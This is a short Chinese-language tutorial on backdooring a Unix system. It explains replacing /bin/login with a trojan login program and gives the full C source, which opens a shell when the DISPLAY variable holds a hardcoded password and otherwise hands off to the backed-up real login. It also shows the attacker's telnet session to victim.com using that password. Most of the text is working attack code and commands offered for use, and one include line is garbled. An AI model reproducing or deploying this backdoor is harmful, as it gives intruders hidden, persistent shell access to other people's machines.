先把原始的/bin/login备份,再用自己的后门程序替换/bin/login。使用者telnet登录时,通过环境变量或者终端类型传递了正确的后门密码,将直接获得一个Shell;如果是普通用户登录,重定向到原始的login文件,来处理正常登录。
最简单的login后门ulogin.c源代码如下:
实例:login后门
/****************/
#include #define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins" //这里的"/sbin/logins"即是备份原来的"/bin/login",而本程序编译后将替换为"/bin/login"
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) { //若为空,即是正常登录,用备份的"/sbin/logins"处理请求
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
if (!strcmp(display,PASSWORD)) { //比较密码是否正确,正确则为使用者登录;否则则为正常登录,转下面处理
system("/bin/csh"); //直接启动csh,也可以使用bash
exit(1);
}
execve(_PATH_LOGIN, argv, envp); //正常登录
exit(1);
}
/*********************/
利用后门登录
前提是对方机器上已经替换并备份"/bin/login"为"/sbin/logins",而且Telnet服务是打开的。然后在本机器执行:
/************************/
bash$ export DISPLAY=passWORD
bash$ telnet victim.com
Trying xxx.xxx.xxx.xxx...
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is '^]'.
$
/*************************/
另:strings命令能够打印出二进制文件中的可显示字符串,如"strings /bin/login"